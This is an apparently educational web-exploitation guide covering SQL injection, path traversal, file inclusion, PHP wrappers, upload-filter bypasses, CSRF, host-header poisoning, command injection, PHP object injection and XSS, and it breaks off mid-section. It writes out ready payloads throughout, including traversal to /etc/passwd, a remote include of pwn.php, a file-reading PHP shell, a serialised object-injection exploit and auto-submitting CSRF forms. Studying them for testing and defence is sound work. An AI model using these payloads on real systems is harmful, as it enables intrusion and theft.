sqlmap -u <full URL> -p <parameter>

The full URL is the exact URL of the web page we are testing for injection, including any parameters that may be in it. The parameter argument specifies the parameter we want to test for injection.

One of its best features is the ability to specify a request from a file. This is particularly useful because one can save an intercepted request through BurpSuite and then pass it to sqlmap which will automatically detect any possible injection points in it.

To pass the file to sqlmap we use the -r option:

sqlmap -r <file path>

Introduction

A union injection is a type of in-band SQL injection which allows for the extraction of data by appending the results of an additional malicious query to that of the original one. Apart from the fact that the query's output must be returned on the response page, there are two additional conditions that must to be satisfied:

• The malicious query must return the exact same number of columns as the original query.
• The data types of the respective columns of the two queries must be compatible with one another.

' UNION SELECT username, password FROM users -- -

Determining the Number of Columns

The number of columns in the injected query must match the number of columns in the original query. However, it is rarely immediately obvious what this number is.

One way to determine the number of columns in the original query is to inject a series of ORDER BY statements:

' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- -
...

These payloads order the results of the original query by different columns. When the specified column index exceeds the number of actual columns in the original query, an error is returned. This means that the last valid index represents the number of columns returned by the query.

Another way to determine the number of columns is by using a series of SELECT NULL statements:

' UNION SELECT NULL -- -
' UNION SELECT NULL, NULL -- -
' UNION SELECT NULL, NULL, NULL -- -
...

If the number of NULLs does not match the number of columns, the database will return an error. Once the error is gone, we know how many columns are returned by the query. We use the NULL type because it can be converted to every common data type and so we need not worry about errors arising from type mismatches.

Determining the Data Type of a Column

Once the number of columns has been determined, one can look for columns that contain entries of a specific data type. To determine the data type of a specific column, one can just replace the NULL value corresponding to it with a random value of the desired data type.

Test for string:

' UNION SELECT NULL, 'random string', NULL, -- -

Test for integer

' UNION SELECT NULL, 12, NULL -- -

Introduction

Once SQL injection has been identified, the next step is to enumerate the underlying database engine. Unfortunately, each database engine uses its own syntax for metadata, which makes this process highly engine-dependent.

Database Version

Database Contents

Listing tables and the columns they contain:

String Concatenation

DNS Lookups

Directory Traversal

A directory traversal (also known as path traversal) is a type of attack which allows an adversary to read files outside the web root directory and usually occurs when there is no proper user input sanitisation.

If an application is vulnerable to path traversal, then one can abuse relative paths to escape from the web root and access arbitrary files on the file system.

One should look for directory traversals in the URL path.

Filter Bypass

URL encoding can be used to bypass many filters which try to filter out the ../ sequence from user input because they literally look for this specific characters and not their URL representations. The URL encoding of the . character is %2e and the / character gets encoded to %2f. The whole sequence can therefore be represented as %2e%2e%2f.

Some filters try to strip out the ../ sequence before handling requests. Oftentimes, however, these filters are non-recursive and only check the input once. Since the filter only goes over the string once and does not check the resulting string as well, the sequence ....// will be changed to ../ after the middle ../ is removed.

Prevention

One should avoid passing user input to file system APIs entirely. If this is absolutely impossible to implement, then user input should be validated before processing. In the ideal case this should happen by comparing the input with a whitelist of permitted values. At the very least, one should verify that the user input contains only permitted characters such as alphanumeric ones.

After such validation, the user input should be appended to the base directory and the file system API should be used canonicalise the resulting path. Ultimately, one should verify that this canonical path begins with the base directory.

Overview

HTTP Parameter Pollution describes the set of techniques used for manipulating how a server handles parameters in an HTTP request. This vulnerability may occur when duplicating or additional parameters are injected into an HTTP request and the website trusts them. Usually, HPP (HTTP Parameter Pollution) vulnerabilities depend on the way the server-side code handles parameters.

Server-Side HPP

You send the server unexpected data, trying to make the server give an unexpected response. A simple example could be a bank transfer.

Suppose, your bank performs transfers on its website through the use of HTTP parameters. These could be a recipient= parameter for the receiving party, an amount= parameter for the amount to send in a specific currency, and a sender= parameter for the one who sends the money.

A URL for such a transfer could look like the following:

https://www.bank.com/transfer?sender=abcdef&amount=1000&recipient=ghijkl

It may be possible that the bank server assumes it will only ever receive a single sender= parameter, however, submitting two such parameters (like in the following URL), may result in unexpected behaviour:

https://www.bank.com/transfer?sender=abcdef&amount=1000&recipient=ghijkl&sender=ABCDEF

An attacker could send such a request in hopes that the server will perform any validations with the first parameter and actually transfer the money from the second account specified. When different web servers see duplicate parameters, they handle them in different ways.

Even if a parameter isn't sent through the URL, inserting additional parameters may still cause unexpected server behaviour. This is especially the case with server code which handles parameters in arrays or vectors through indices. Inserting additional parameters at different places in the URL may cause reordering of the array values and lead to unexpected behaviour.

An example could be the following:

https://www.bank.com/transfer?amount=1000&recipient=ghijkl

The server would deduce the sender on the server-side instead of retrieving it from an HTTP request.

Normally, you wouldn't have access to the server code, but for a POC I have written a simple server in a pseudo-code (no particular language).

sender.id = abcdef

function init_transfer(params)
{
	params.push(sender.id) // the sender.id should be inserted at params[2]
	prepare_transfer(params)
}

function prepare_transfer(params)
{
	amount = params[0]
	recipient = params[1]
	sender = params[2]
	
	transfer(amount, recipient, sender)
}

Two functions are created here, init_transfer and prepare_transfer which takes a params vector. This function also later invokes a transfer function, the contents of which are currently out of scope. Following the above URL, the amount parameter be 1000, the recipient would be ghijkl. The init_transfer function adds the sender.id to the parameter array. Note, that the program expects the sender ID to be the 3rd (2nd index) parameter in the array in order to function properly. Finally, the transfer params array should look like this: [1000, ghijkl, abcdef].

Now, an attacker could make a request to the following URL:

https://www.bank.com/transfer?amount=1000&recipient=ghijkl&sender=ABCDEF

In this case, sender= would be included into the parameter vector in its initial state (before the init_transfer function is invoked). This means that the params array would look like this: [1000, ghijkl, ABCDEF]. When init_transfer is called, the sender.id variable would be appended to the vector and so it would look like this: [1000, ghijkl, ABCDEF, abcdef]. Unfortunately, the server still expects that the correct sender would be located at params[2], but that is no longer the case since we managed to insert another sender. As such, the money would be withdrawn from ABCDEF and not abcdef.

Client-Side HPP

These vulnerabilities allow the attacker to inject extra parameters in order to alter the client-side. An example of this is included in the following presentation: https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf.

The example URL is

http://host/page.php?par=123%26action=edit

The example server code is the following:

<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>  
<a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>

Here, a new URL is generated based on the value of a parameter $val. Here, the attacker passes the value 123%26action=edit onto the parameter. The URL-encoded value for & is %26. When this gets to the htmlspecialchars function, the %26 gets converted to an &. When the URL gets formed, it becomes

<a href="/page.php?  
action=view&par=123&amp;action=edit">

And since this is view as HTML, an additional parameter has been smuggled! The link would be equivalent to

/page.php?  
action=view&par=123&action=edit

This second action parameter could cause unexpected behaviour based on how the server handles duplicate requests.

File Inclusion vs Directory Traversal

File inclusion vulnerabilities arise when file paths are passed to include statements without sanitisation.

It is important to distinguish between file inclusion and directory traversal vulnerabilities, as these often get mixed up. A path traversal grants an adversary direct access to arbitrary files - the file is simply treated as if it were in the web root directory, even though it might be outside it.

In contrast, file inclusion allows for the "inclusion" of files in the application's running code. This can manifest in different ways. If the file included is a .php script, then a simple file inclusion will execute the PHP code inside it. If the file is not a PHP file, then its contents will be included somewhere on the page.

Local File Inclusion (LFI)

A local file inclusion (LFI) vulnerability allows for the inclusion of local files, i.e. files which are located on the server itself. Such vulnerabilities can often lead to remote code execution if an adversary can upload to the server a file of their choosing. Another common venue of exploitation is log poisoning, whereby the adversary performs some actions in order to generate certain content in log files and then uses the LFI to execute the log file itself.

The most common place where LFIs occur is in URL file parameters. Consider the following example URL:

http://example.com/preview.php?file=index.html

If this is vulnerable to LFI, then an adversary can change the file parameter in order to include in the web page any file they like. For example, visiting

http://example.com/preview.php?file=../../../../../../../etc/passwd`

will result in the contents of /etc/passwd being displayed somewhere on the preview.php web page.

Remote File Inclusion (RFI)

A remote file inclusion (RFI) vulnerability allows us to include a file located on a remote host which is accessible via HTTP or SMB. They can be discovered by the same techniques used to find LFIs and path traversals, but instead of using a filename directly, one inserts an entire URL:

http://example.com/preview.php?file=http://192.168.0.23/pwn.php

These are usually rarer because they require specific configurations such as the allow_url_include option in PHP.

Advanced Techniques

Sometimes exploiting file inclusions is a bit more complicated. Consider the following line of code that may be present on the server:

<?php include($_GET['file'].".php"); ?>

The .php extension is automatically appended to the result from $_GET['file'] and so the include statement will actually be looking for a PHP file instead of the exact path that we want it to. There are, however, several ways to bypass this.

Null Byte Injection

This can be bypassed by injecting a null byte at the end of the file path. To achieve this, simply append the URL encoding (%00) of a null byte to the end of the file path:

http://example.com/preview.php?file=../../../etc/passwd%00

A null byte denotes the end of a string and so any characters after it will be ignored. Even though the string (http://example.com/preview.php?file=../../../etc/passwd%00.php) that gets passed to include still ends in .php, this extension is preceded by a null byte and will thus be ignored.

Path Truncation

Most installations of PHP limit a file path to 4096 bytes. If a file name is longer than this, then PHP simply truncates it by discarding any additional characters. Therefore, the .php extension can be dropped by pushing it over the 4096-byte limit. This can be achieved by URL encoding the file, using double encoding and so on.

Filter Bypass

Sometimes filters are used to try and prevent file inclusions, but these can usually be bypassed using the same techniques used with directory traversals

PHP Wrappers

PHP wrappers augment file operation capabilities. There are many built-in wrappers which can be used with file system APIs, and developers can also implement custom ones. Wrappers can be found in pre-existing code on the web server or they can be injected by an adversary to enhance and further exploit a file inclusion vulnerability.

PHP Filter Wrapper

The php://filter wrapper can be used to display the contents of sensitive files with or without encoding. It is especially useful because it allows us to read a PHP file on the server rather than execute it as a typical LFI would.

The basic syntax for the php://filter wrapper is

php://filter/ENCODING/resource=FILE

The encoding may or may not be present. One common encoding is convert.base64-encode.

http://example.com/preview.php?file=php://filter/resource=preview.php

http://example.com/preview.php?file=php://filter/convert.base64-encode/resource=preview.php

Data Wrapper

The data:// wrapper embeds content in a plaintext or Base64-encoded format into the code of the running web application and can be used to achieve code execution when we cannot directly poison or upload a PHP file to the server.

The plaintext syntax is the following:

data://text/plain,CODE

The Base64-encoding can be used to bypass firewalls and filters which remove common payload strings such as "system" or "bash":

data://text/plain;base64,BASE64-ENCODED CODE

http://example.com/preview.php?file=data://text/plain,<?php%20echo%20sy
stem('ls');?>

http://example.com/preview.php?file=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImxzKTsgPz4K

Zip Wrapper

The zip:// wrapper was introduced in PHP 7.2.0 for the manipulation of zip compressed files. Its basic syntax is this:

zip://PATH TO ZIP#PATH INSIDE ZIP

The best thing about the zip:// wrapper is that it does not require the file to have a .zip extension. This means that this wrapper can be used to bypass file upload filters by changing the file extension to .jpg or any permitted extension.

http://example.com/preview.php?file=zip://uploads/exploit.zip%23code.php

Expect Wrapper

The expect:// wrapper is disabled by default since it is particularly dangerous, for it allows for direct code execution. Its syntax is

expect://COMMAND

The wrapper will execute the COMMAND in Bash and return its result.

Prevention

One should avoid passing user input to file system APIs entirely. If this is absolutely impossible to implement, then user input should be validated before processing. In the ideal case this should happen by comparing the input with a whitelist of permitted values. At the very least, one should verify that the user input contains only permitted characters such as alphanumeric ones.

After such validation, the user input should be appended to the base directory and the file system API should be used canonicalise the resulting path. Ultimately, one should verify that this canonical path begins with the base directory.

Introduction

HTTP Response Splitting occurs when user-provided input isn't sanitised and CRLFs are injected into HTTP responses. This is usually done through URL parameters. This type of attack typically requires social engineering or at least some user interaction.

HTTP responses consist of message headers and a message body. The headers are separated from the body with 2 CRLFs - \r\n\r\n. An attacker could inject this character sequence into a header and terminate the header section - this could result in XSS, since anything after the 2 CRLFs will be treated as HTML.

Imagine a custom header X-Name: Bob which is set via a parameter in a GET request called name. If input isn't properly sanitised, an attacker could craft the following URL which would result in XSS:

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

In other cases, HTTP response splitting may be used to send two responses to a single request by injecting the second response into the first one. A URL like the following could change the contents of a legitimate page that the target visits:

application.com/redir.php?lang=hax%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%d%aContent-Length:%2019%0d%0a<html>Hacked</html>

All the target needs to do, is visit the URL.

File Upload Vulnerability

Many applications provide functionality for file uploading. For example, a content management system (CMS) may allow users to upload their own avatar and create blog posts with embedded files. There are also many other situations in which the nature of one's work necessitates file uploading, such as uploading of medical files, assignments or legal case files.

Uploading Executables

The first category of file upload vulnerabilities comprises the vulnerabilities which allow an adversary to upload executable files to the server. For example, if the server uses PHP, then such a vulnerability would allow an attacker to upload PHP files.

Once the malicious PHP file has been uploaded, the adversary can execute it by navigating to it or using curl.

<?php echo file_get_contents('/home/carlos/secret'); ?>

Overwriting Files

It may be possible to abuse a file upload to overwrite files on the server. One should always check what happens when they upload a file with the same name twice. If the application indicates whether the file existed previously, then this provides us with a way to brute force content on the server. If the server yields an error, this error may reveal interesting information about the underlying code of the web application. If neither of the these behaviours is observed, then the server might have simply overwritten the file.

This can sometimes be paired with a directory traversal vulnerability and may allow an adversary to overwrite sensitive files on the system such as by placing their own public key in the authorized_keys of a user on the system, thereby granting themselves SSH access to the host.

File Upload with User Interaction

The third type of file upload vulnerabilities rely on user interaction such as waiting for a user to click on a .docx file embedded with

Exploiting Flawed Validation

Nowadays, virtually all web applications have some protection against file upload vulnerabilities but the defences put in place are not always particularly robust.

MIME Type Manipulation

Sometimes an application trusts the client-side completely and only relies on the Content-Type HTTP header to determine if the file really is legitimate or not.

However, an adversary is free to manipulate the Content-Type header into anything they like. If the server relies solely on this field, then nothing will prevent an attacker from uploading a PHP reverse shell and just slapping an image/png onto the Content-Type header.

Filter Bypass

Many filters disallow specific file extensions such as .php. Fortunately, these blacklists are rarely exhaustive and one can look for alternative extensions which still convey the same file type.

Another way to bypass filters is to vary the case of the file extension, since a the server might only be checking against a lowercase extension. For example, the filter could block .php but allow .pHp.

Furthermore, some filters can be bypassed by using two extensions on the filename (exploit.jpg.php) or by adding trailing characters such as dots or whitespaces (exploit.jpg.php.).

Inserting semicolons or null bytes can also come in handy - exploit.php%00.jpg or exploit.php;.jpg. These usually arise when the validation code is written in a high-level language like PHP or Java, but the actual file is processed via a lower-level language like C/C++.

URL encoding dots, forward slashes and backslashes can also help with bypassing filters.

If the filename is filtered as a UTF-8 string but is then converted to ASCII when used as a path, one can use multi-byte Unicode characters which translate into two characters one of which is a dot (0x2e) or a null bytes (0x00) to bypass the filter.

Extension Stripping

Some defences involve the removal of file extensions which are considered dangerous. Oftentimes these are not recursive and will only check the string once. Therefore, the filename exploit.p.php.hp will be turned into exploit.php.

Prevention

One should follow most if not all of the following practices in order to ensure that a file upload is secure:

• Whenever possible, one should use an established framework for pre-processing file uploads instead of implementing the logic manually.
• The Content-Type header should not be trusted.
• The file extension should be checked against a whitelist of permitted extensions rather than a blacklist of disallowed ones.
• The filename should be checked for any substrings which may results in directory traversals.
• Uploaded files should be renamed on the server-side in order to avoid the overwriting of already existing files. This can be achieved by using unique identifiers.
• One should check if the file follows the expected file format, for example by looking for the presence of the magic bytes of the respective file type. The best option is to use a library specifically designed for this.

Overview

Certain vulnerabilities allow the attacker to input encoded characters that possess special meanings in HTML and HTTP responses. Usually, such input is sanitised by the application, however, sometimes application developers simply forget to implement sanitisation or don't do it properly.

Carriage Return (CR - \r) and Line Feed (LF - \n) can be represented with the following encodings, respectively - %0D and %0A.

CRLF injection occurs when a user manages to submit a CRLF (a new line) into an application. These vulnerabilities might be pretty minor, but might also be rather critical. The most common CRLF injections include injecting content into files on the server-side such as log files. Through cleverly crafted messages, an attacker could add fake error entries to a log and therefore make a system admin spend time looking for an issue that doesn't exist. This isn't really powerful in itself and is rather akin to pure trolling. Sometimes, however, CRLF may lead to HTTP Response Splitting.

Overview

Template Injection occurs when an attacker injects malicious template code into an input field and the templating engine doesn't sanitise the input. As such, the expression provided by the attacker may be evaluated and can lead to all sorts of nasty vulnerabilities such as RCE.

Server-Side Template Injection

SSTI occurs when the injection happens on the server-side. Templating engines are associated with different programming languages, so you might be able to execute code in that language when SSTI occurs.

Testing for SSTI is template engine-dependent because different engines make use of a different syntax. It is, however, common to see templates enclosed in two pairs of {{}}.

You should look for places in a webpage where user input is reflected. If you inject {{7*'7'}} and see 49 or 7777777 somewhere, then you know you have SSTI. This syntax isn't standard. You will need to identify the running template engine and use the correct syntax.

Client-Side Template Injection

This vulnerability occurs in client template engines, which are written in Javascript. Such engines are Google's AngularJS and Facebook's ReactJS.

CSTI typically occur in browser, so they typically cannot be used for RCE, but may be exploited for XSS. This can be difficult, since most engines do a good job at sanitising input and preventing XSS.

When interacting with ReactJS, you should look for dangerouslySetInnerHTML function calls where you can modify the input. This function intentionally bypasses React's XSS protections.

AngularJS versions before 1.6 include a sandbox in order to limit the available Javascript functions, but bypasses have been found. You can check the AngularJS version by typing Angular.version in the developer console. A list of bypasses can be found at https://pastebin.com/xMXwsm0N, however, more are surely available online.

Overview

Cross-Site Request Forgery (CSRF) is a type of attack used to trick the victim into sending a malicious request. It utilises the identity and privileges of the target in order to perform an undesired action on the victim's behalf. It is similar to indirect impersonation - you can make the victim's browser submit requests as the victim. It is called "cross-site" because a malicious website can make the victim's browser send a request to another website.

This attack typically relies on the victim being authenticated - either through cookies or basic header authorization.

How does it work

There are two primary types of CSRF - through GET requests and through POST requests (although methods like PUT and DELETE may also be exploitable).

When your browser submits a request to a web server, it also sends along all stored cookies. If CSRF occurs, any authentication cookies will be sent with the request and as such, any actions on the server would be performed on the victim's behalf. Note that in order for CSRF to work, the victim needs to be logged in because when you make a log out request, the web server usually returns an HTTP response which auto-expires your authentication cookies and they are no longer valid.

In order for it to work, the victim would need to visit your malicious website.

The GET scenario

This typically relies on hidden images through the HTML <img> tag. This tag takes an src attribute which will tell the victim's browser to perform a GET request to the specified URL in order to retrieve an image. However, an attacker can change this URL and even add parameters to it, so that the browser performs a GET request to any arbitrary site.

An example of such a malicious hidden image could be this:

<img src="http://bank.com/transfer?recipient=John&amount=1000" width="0" height="0" border="0">

When visiting your malicious site, this will make the victim's browser submit a GET request. Any cookies stored for bank.com would be sent along, including any authentication ones. As such, the bank would complete the transfer from the victim's account.

The POST scenario

If the bank uses POST requests for transfers, the <img> method won't work because image tags can't initiate POST requests. This can however be achieved through hidden forms.

<iframe style="display:none" name="csrf-frame"></iframe>  
<form method='POST' action='http://bank.com/transfer' target="csrf-frame"  
id="csrf-form">  
	<input type='hidden' name='recipient' value='John'>  
	<input type='hidden' name='amount' value='1000'>  
	<input type='submit' value='submit'>  
</form>  
<script>document.getElementById("csrf-form").submit()</script>

Normally, the submition of the form will require that a user clicks the submit button, but this can be automated through Javascript. The response from the submission of the POST request would be redirect to the non-displayed iframe and so the victim would never see what has happened.

Preventions

CSRF Tokens

Sometimes, websites will make use of two-part tokens called CSRF tokens in order to prevent cross-site request forgery. These tokens are generated on the server - one part is sent to the user and the other is kept private. This value is submitted with the request and validated on the server. If the CSRF token isn't correct, the server shouldn't fulfill the submission.

These tokens may be part of the POST request's body or as custom HTTP headers. They may take on any name, but some common ones include CSRF, CSRFToken, X-CSRF-TOKEN, form-id, lt, lia-token, etc.

You should always try removing or altering the CSRF token in order to check if it's properly implemented.

CORS

When a browser sends an
application/json POST request to a site, it will send an OPTIONS request beforehand. The site then returns a
response indicating which types of HTTP
requests the server accepts and from what trusted origins. Such OPTIONS requests are called preflight OPTIONS requests.

CORS, or Cross-Origin Resource Sharing, restricts resource access, including JSON response access, from domains outside the one which served a file is allowed by the site being tested. When CORS is used, submitting application/json requests are not possible, unless the website explicitly allows them.

These protections can sometimes be bypassed by changing the content-type header to application/x- www-form-urlencoded, multipart/form-data, or text/plain. Browsers don't send preflight OPTIONS requests for any of these content types and CSRF requests might succeed.

Origin and Referer Headers

Checking the Origin and Referer headers (if the origin header isn't present) prevents CSRF because these headers are controlled by the browsers and cannot be altered by the attacker

samesite Cookie Attribute

This attribute can take on the values strict or lax. When set to strict, the browser won't send that specific cookie with any request that doesn't originate from the correct website - including GET requests.

Setting the attribute to lax will prevent the cookie from being sent on normal subrequests (such as loading images or frames), however, the cookie will still be sent with direct requests to the origin site (such as those initiated by clicking on a link).

Overview

Open redirect vulnerabilities occur when a target visits a website which sends their browser to another URL. These attacks only redirect users and as such are often considered to be of low severity.

How Do They Work

Open redirects occur when a developer mistrusts user input, which redirects to another site, usually via a URL parameter, HTML <meta> tags, or the DOM window location property.

URL Parameter Redirect

Suppose that Google could redirect users to their Gmail service via the following URL:

https://www.google.com/?redirect_to=https://www.gmail.com

In this case, visiting www.google.com would result in your browser sending an HTTP request to the Google web server. The server would process this request and return a status code - typically 302, although it may sometimes be 301, 303, 307, or 308. This code would inform the browser that the page has been found, however, it would also tell it to make an additional HTTP request to www.gmail.com. This will be noted in the Location: header of the HTTP response. This header specifies where to redirect GET requests. An attacker could change the value of the redirect_to parameter and forward you to their malicious server.

Common redirection parameter names include url=, redirect=, next=, however, they may also be denoted by a single letter at times.

Meta Refresh Tag Redirect

HTML <meta> tags can tell a browser to reload a page and make a GET request to a specified URL. This URL is defined in the tag's content attribute.

This is an example of such a tag: <meta http-equiv="refresh" content="0; url=https://www.google.com/">

First, the content attribute defines the number of seconds the browser should wait before making the request to the URL. Secondly, it specifies the URL to make the request to.

Javascript Redirect

Open redirects can be exploited by modifying the window's location property through the Document Object Model. This property denotes where a request should be redirected to.

An attacker may change the location property through any of the following ways:

window.location = https://www.google.com/  
window.location.href = https://www.google.com  
window.location.replace(https://www.google.com)

This type of open redirect is usually chained with some sort of XSS.

Introduction

The HTTP Host header is a mandatory header for HTTP requests and specifies the domain name which the client wants to access. This is especially handy with virtual hosting because a single IP address may provide different services on different domains and the server needs to know which page to return to the client. For example, the same machine may serve a blog website at blog.example.com and a git repository at dev.example.com.

In order to specify which of the two services the client wants to access, they must specify either the header Host: blog.example.com or dev.example.com, respectively, in their request.

A host header injection vulnerability arises when the target application unsafely uses the contents of the Host header, typically in order to construct an absolute URL.

Password Reset Poisoning

This technique involves using Host Header Injection in order to force a vulnerable application to generate a password reset link which points to a malicious domain. This may be leveraged to steal the secret tokens required to reset the passwords of arbitrary users and consequently compromise their accounts.

Typically applications implement password resetting as follows.

1. The user specifies their username/email.
2. The server generates a temporary, unique, high-entropy token for the user.
3. The server generates a URL for the password reset with the secret token included as a URL parameter. For example, example.com/reset?token=abcdefghijklmnopqrstuvwxyz
4. The server sends an email to the client which includes the generated password reset link.
5. When the user clicks the link in their email, the token in the URL is used by server in order to determine whose password is being reset and whether or not it is a valid request.

If the Host header of the request for a password reset is used in generating the password reset URL, an adversary may leverage it in order to steal the token for an arbitrary user. For example, an adversary could submit a password reset request for a user, e.g. carlos, intercept the request and modify the Host header to point to a domain controlled by them: Host: exploit-server.com.

When the server generates the password reset URL, it will resemble the following, http://exploit-server.com/reset?token=abcdefghijklmnopqrstuvwxyz. If the victim clicks on the link, their token will be handed over to the attacker by means of the exploit-server.com domain which receives the password reset request.

This type of attack, however, does not always require user interaction because emails are typically scanned be it to determine if they are spam or if they contain a virus and the scanners will oftentimes open the links themselves, all automatically, thus giving the attacker the token to reset the password.

Prevention

1. Check to see if absolute URLs are necessary and cannot be replaced with relative ones.
2. If an absolute URL is necessary, ensure that the current domain is stored in a configuration file and do NOT use the one from the Host: header.
3. If using the Host header is inevitable, ensure that it is validated against a whitelist of permitted domains. Different frameworks may provide different methods for achieving this.
4. Drop support for additional headers which may permit such attacks, such as the X-Forward-Host header.
5. Do NOT virtual-host internal-only websites on a server which also provides public-facing content, since those may be accessed via manipulation of the Host header.

Command Injection

Many web applications often interact with the underlying OS directly in order to access and provide various services. If user input is passed unsanitised to these APIs, it can result in command injection, whereby an adversary can inject commands to be executed by the OS on the server.

Exploiting a command injection vulnerability is fairly simple. One simply needs to use command chaining operators to insert OS commands into the unsanitised input. The characters &, &&, |, || function as command separators on both Windows and Unix-based systems. Furthermore, Unix-based systems also use the ; character and new lines as command separators and allow for inline command execution by inserting the command in backticks or dollar signs ($(command)).

Blind Command Injection

In many cases it is not immediately obvious whether command injection is present because there is no way to directly see the output of the command. The vulnerability remains basically unchanged but the detection methods vary.

One can use time delays to check for blind command injection by using a timed command and checking the response time against the specified delay. One way to achieve this is to use the ping command with the -c option which allows one to specify how long (in seconds) the ping command should run.

Another way to test for blind command is to use output redirects by redirecting the output of the command to a file in the web root. This file can then be retrieved by navigating to it.

Yet another method to test for blind command injection is to use out-of-band exfiltration techniques.

Bypassing Filters

Very commonly applications filter out whitespaces before passing the command to the shell. However, certain command sequences will be translated to whitespace in the shell itself.

Under Linux, one can substitute any white space with $IFS or ${IFS}. Alternatively, one can specify the command and its parameters in curly brackets - {command,param1,param2}. The brackets will be removed and the commas will be treated as whitespaces.

Prevention

Ideally, one should never execute OS commands directly from the application, since these can almost always be replaced via safer platform APIs. If this cannot be done, then one should abide by the following guidelines:

• Validate the user input against a whitelist of permitted values.
• Validate that the user input follows the expected format (a number, an alphanumeric character, etc.)

Introduction

PHP Object Injection is a type of an insecure deserialisation attack which can result in arbitrary code execution.

Magic Methods

PHP Magic Methods are a set of reserved methods for PHP objects which can be defined and which are automatically invoked in certain situations. Whilst it is possible to achieve code execution entirely by using normal methods on objects, magic methods can make the process easier.

Serialisation

PHP has functionally which allows arbitrary objects to be turned into strings and then later retrieved as objects from those same strings. This is achieved through the serialize() and unserialize() functions. When an adversary has control over the object which gets deserialised, they can manipulate the input in such a way to make the PHP script perform arbitrary actions.

<?php
class User
{
	public $name;
	public $isAdmin;
}

$user = new User();
$user->name = "cr0mll";
$user->isAdmin = False;

echo serialize($user);
?>

The serialisation string follows the type:data paradigm and has the following structure:

Deserialisation

Deserialisation is the inverse operation - the unserialize() function takes a string and converts it to a PHP object (or normal variable). When the string passed to unserialize() is user-controlled, an adversary can craft a custom string which will result in an object with values of the attacker's choice. When these values are later used by the PHP application, they can alter its behaviour. Take a look at the following example:

<?php
class LoadFile
{
	public function __tostring()
	{
		return file_get_contents($this->filename);
	}
}

class User
{
	public $name;
	public $isAdmin;
}

$user = unserialize($_POST['user']);

if $user->isAdmin
{
	echo $user->name . " is an admin.\n"
}
else
{
	echo $user->name . " is not an admin.\n"
}
?>

In order to achieve arbitrary code execution, object injection relies on PHP Gadgets - pieces of code (typically classes) that the PHP script has access to. Usually, PHP code runs in some sort of a framework - when this is true, it is rather easy to find gadgets. Here, however, we do not have that luxury.

The User class is only a storage container - it has no functionality. On the other hand, the LoadFile class can do some stuff. It has the __tostring magic method defined and it returns the contents of the file with the provided filename.

We can manipulate the user object. Therefore, it is possible to set its name to an object - namely a LoadFile object with the file name set to anything we like. When the server receives this malicious user with an embedded LoadFile object, it is going to attempt to turn it into a string when echo is called. The embedded LoadFile object has its filename set to /etc/passwd for example, and so file_get_contents() is going to read this file, return its contents as a string and echo will print them out for us. Here is the exploit code:

<?php
class LoadFile
{
	public function __tostring()
	{
		return file_get_contents($this->filename);
	}
}

class User
{
	public $name;
	public $isAdmin;
}

$obj = new LoadFile();
$obj->filename = "/etc/passwd";

$user = new User();
$user->name = $obj;
$user->isAdmin = true;

echo serialize($user);
?>

When we run this, we get the following serialisation string for the malicious user:

O:4:"User":2:{s:4:"name";O:8:"LoadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"isAdmin";b:1;}

If we send it in a post request to the server, it will retrieve /etc/passwd for us:

Prevention

Never allow direct user control over the data passed to unserialize().

PHAR Files

PHAR is the PHP Archive format and can allow for object injection even when there is no direct unserialize() call - provided that there is a way to upload a file to the server. Phar archives require neither a specific extension nor a set of magic bytes for identification which makes them especially useful for bypassing file upload filters.

The format of the archive is the following:

• Stub - must contain <?php __HALT_COMPILER(); ?>
• Manifest
• Metadata - contains the serialised data
• Contents - the archive contents
• Signature - for integrity verification

You would be quick to think that you can just inject code into the stub and it will be executed, but that is not the case. Where the stub really shines is the fact that it can contain anything before the <?php __HALT_COMPILER(); ?> part. This means that the stub can be used to imitate other file formats.

Under the hood, PHAR stores metadata in a PHP-serialised format which needs to be deserialised when PHP uses the archive. In order for this to happen, the server needs to access the archive using the phar:// stream wrapper. It is for this reason that a way of uploading files to it is necessary.

Generating the Payload

If you try generating a phar file using PHP, you will likely run into the following error:

In this case, you will need to set phar.readonly = Off in your /etc/php/<version>/cli/php.ini file (this is not required on the server, only on your machine). Afterwards, you can use the following code to generate the phar file:

<?php
$phar = new Phar("archive.phar"); # a .phar extension is required here but not when the archive is accessed using phar://
$phar->startBuffering();

$prefix = ...; # The data used for imitating another file format
$phar->setStub($prefix . "<?php __HALT_COMPILER(); ?>");

$payload = ...; # Object injection payload
$phar->setMetadata(serialize($payload));

$phar->addFromString("test.txt", "test"); # Optional
$phar->stopBuffering();
?>

The extension of the file can then be changed to anything. Subsequently, the file will need to be uploaded to the server. Once it is there, a way to make the server perform a file operation with phar://<filename> is required.

Additionally, there are a few caveats which need to be taken into account. The payload inside the object injection chain may only use the __wakeup() and __destruct() magic methods. Moreover, any file paths inside it must be absolute because phar files deal with context in a weird way when they are loaded.

Prevention

The only way to completely prevent phar file abusing is to disable the phar:// stream wrapper altogether:

stream_wrapper_unregister('phar');

Cross-Site Scripting

Cross-site scripting (XSS) describes a set of attacks where an adversary injects Javascript into a web application, typically because user input isn't properly sanitised. It is similar to HTML injection, however, it allows for the execution of Javascript code and that makes it a potentially critical vulnerability.

All XSS vulnerabilities can be categorised either as stored XSS or reflected XSS.

Reflected XSS

Reflected XSS is the simplest type of XSS and arises when a web application includes data from an HTTP request into the HTTP response unsafely. Suppose a web application has a search function and obtains the search criteria from an HTTP request through a URL parameter:

https://example.com/search?item=name

It is not difficult to imagine that the application might include the item's name in the resulting web page, for example in a paragraph like the following:

<p>Results for: name</p>

If the value of the item parameter is not sanitised before being embedded into the resulting web page, an adversary can craft a malicious link like https://example.com/search?item=<script>evil code</script> and send it to a victim user. If they click on the link, the script inside it will be executed by their browser and they will be compromised.

Stored XSS

Stored XSS (also known as persistent or second-order XSS) occurs when the exploit payload is stored on the server, typically in the database. When a legitimate user later views a vulnerable page which incorporates the stored data, the exploit will be injected into it and it will be executed by the user's browser.

Injection Points

When exploring an XSS vulnerability, it is crucial to identify the injection point (i.e. the context) where the payload is injected.

XSS between HTML Tags

The most common injection point for XSS is between existing HTML tags on the page. Executing code in this context necessitates the introduction of new HTML tags such as script or other elements with events. Here are some example payloads:

<script>alert(1);</script>
<img src=1 onerror=alert(1)>

XSS between HTML Attributes

